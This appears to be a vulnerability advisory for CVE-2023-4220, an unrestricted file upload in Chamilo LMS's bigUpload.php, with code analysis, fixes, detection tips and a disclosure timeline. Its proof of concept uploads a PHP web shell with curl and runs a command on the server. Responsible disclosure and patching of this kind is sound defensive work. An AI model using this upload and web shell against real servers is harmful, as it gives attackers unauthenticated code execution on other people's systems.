Summary
Product | Chamilo |
---|---|
Vendor | Chamilo |
Severity | High - Adversaries may exploit software vulnerabilities to obtain unauthenticated remote code execution. |
Affected Versions | <= v1.11.24 |
Tested Versions | v1.11.24 (latest version as of writing) |
CVE Identifier | CVE-2023-4220 |
CVE Description | Unrestricted file upload in big file upload functionality in /main/inc/lib/javascript/bigupload/inc/bigUpload.php in Chamilo LMS <= v1.11.24 allows unauthenticated attackers to perform stored cross-site scripting attacks and obtain remote code execution via uploading of web shell. |
CWE Classification(s) | CWE-434: Unrestricted Upload of File with Dangerous Type |
CAPEC Classification(s) | CAPEC-650: Upload a Web Shell to a Web Server |
CVSS3.1 Scoring System
Base Score: 8.1 (High)
Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Metric | Value |
---|---|
Attack Vector (AV) | Network |
Attack Complexity (AC) | High |
Privileges Required (PR) | None |
User Interaction (UI) | None |
Scope (S) | Unchanged |
Confidentiality (C) | High |
Integrity (I) | High |
Availability (A) | High |
Product Overview
Chamilo is an open-source PHP-based Learning Management System (LMS) that facilitates online education and training. It offers features such as course creation, content management, assessments, collaboration and delivering educational resources.
Vulnerability Summary
The big file upload functionality by /main/inc/lib/javascript/bigupload/inc/bigUpload.php
allows arbitrary files to be uploaded to /main/inc/lib/javascript/bigupload/files
directory within the web root. Note that although this directory does not exist by default, it may be created using another arbitrary directory creation vulnerability (e.g. CVE-2023-3368) for the exploit to be successful.
An unauthenticated attacker may exploit this vulnerability to perform stored cross-site scripting attacks, as well as obtain remote code execution.
Vulnerability Details
The vulnerable portion of /main/inc/lib/javascript/bigupload/inc/bigUpload.php
is shown below:
class BigUploadResponse
{
...
public function postUnsupported()
{
$name = $_FILES['bigUploadFile']['name']; // [1]
$size = $_FILES['bigUploadFile']['size'];
$tempName = $_FILES['bigUploadFile']['tmp_name'];
if (filesize($tempName) > $this->maxSize) {
return get_lang('UplFileTooBig');
}
if (move_uploaded_file($tempName, $this->getMainDirectory().$name)) { // [2]
return get_lang('FileUploadSucces');
} else {
return get_lang('UplUnableToSaveFile');
}
}
...
}
Observe that at [1], the user-supplied filename is saved into $name
and used at [2]
by move_uploaded_file()
. This uploads the file into main directory at /main/inc/lib/javascript/bigupload/files
without any prior sanitisation performed on the filename.
class BigUploadResponse
{
...
const MAIN_DIRECTORY = '../files/';
...
public function getMainDirectory()
{
return $this->mainDirectory;
}
...
}
Consequently, an unauthenticated attacker can simply upload a PHP web shell to obtain unauthenticated remote code execution.
Exploit Conditions
An unauthenticated attacker is expected to be able to execute this exploit scenario reliably if the /main/inc/lib/javascript/bigupload/files
directory exists within the web root directory and is writable by the webserver.
Proof-of-Concept
- Ensure that the
/<path-to-webroot>/main/inc/lib/javascript/bigupload/files/
directory exists on the target system:$ mkdir -p /<path-to-webroot>/main/inc/lib/javascript/bigupload/files/
- On the attacker’s machine, run the following commands to create, upload and execute a PHP web shell:
$ echo '<?php system("id"); ?>' > rce.php $ curl -F '[email protected]' 'http://<chamilo>/main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported' The file has successfully been uploaded. $ curl 'http://<chamilo>/main/inc/lib/javascript/bigupload/files/rce.php' uid=33(www-data) gid=33(www-data) groups=33(www-data)
- Observe that the
id
shell command is successfully executed, confirming the unrestricted file upload vulnerability.
Suggested Mitigations
Ensure that the user-supplied filename is sanitised accordingly to prevent files with dangerous file extensions from being uploaded.
For example:
public function postUnsupported()
{
- $name = $_FILES['bigUploadFile']['name'];
+ $name = disable_dangerous_file(
+ api_replace_dangerous_char($_FILES['bigUploadFile']['name'])
+ );
$size = $_FILES['bigUploadFile']['size'];
$tempName = $_FILES['bigUploadFile']['tmp_name'];
if (filesize($tempName) > $this->maxSize) {
return get_lang('UplFileTooBig');
}
if (move_uploaded_file($tempName, $this->getMainDirectory().$name)) {
return get_lang('FileUploadSucces');
} else {
return get_lang('UplUnableToSaveFile');
}
}
However, note that disable_dangerous_file()
only prevents PHP
and .htaccess
files, and do not prevent uploading of HTML
files. As such, it is still possible to achieve unauthenticated stored cross-site scripting (XSS) by uploading a HTML
file.
It is therefore recommended to enhance the implementation of disable_dangerous_file()
in main/inc/lib/fileUpload.lib.php to also prevent uploading of HTML
files.
Lastly, it is advised to add the following rules to the default .htaccess
file:
# Disallow direct access to /main/inc/lib/javascript/bigupload/files
RedirectMatch 403 ^/main/inc/lib/javascript/bigupload/files
# Disallow MIME sniffing to prevent XSS from unknown/incorrect file extensions
Header always set X-Content-Type-Options nosniff
End users are encouraged to update to the latest version of Chamilo.
Detection Guidance
It is possible to detect the exploitation of this vulnerability by:
- Checking the server’s access logs for all requests made to
/main/inc/lib/javascript/bigupload/inc/bigUpload.php
withaction
query parameter set topost-unsupported
; - Checking the server’s access logs for all requests made to
/main/inc/lib/javascript/bigupload/files/*
; - Checking
/<path-to-webroot>/main/inc/lib/javascript/bigupload/files
directory for presence ofPHP
or.htaccess
files.
Credits
Ngo Wei Lin (@Creastery) of STAR Labs SG Pte. Ltd. (@starlabs_sg)
Timeline
- 2023-09-04 Vendor Disclosure
- 2023-09-06 Initial Vendor Contact
- 2023-09-27 Vendor Patch Release (v1.11.26) completely fixing vulnerability
- 2023-09-29 Vendor published the vulnerability sumamry
- 2023-09-29 Mutual agreement to delay the publication of vulnerability details was reached in light of the recent in-the-wild exploitation of Chamilo N-day vulnerability (CVE-2023-34960)
- 2023-11-28 Public Release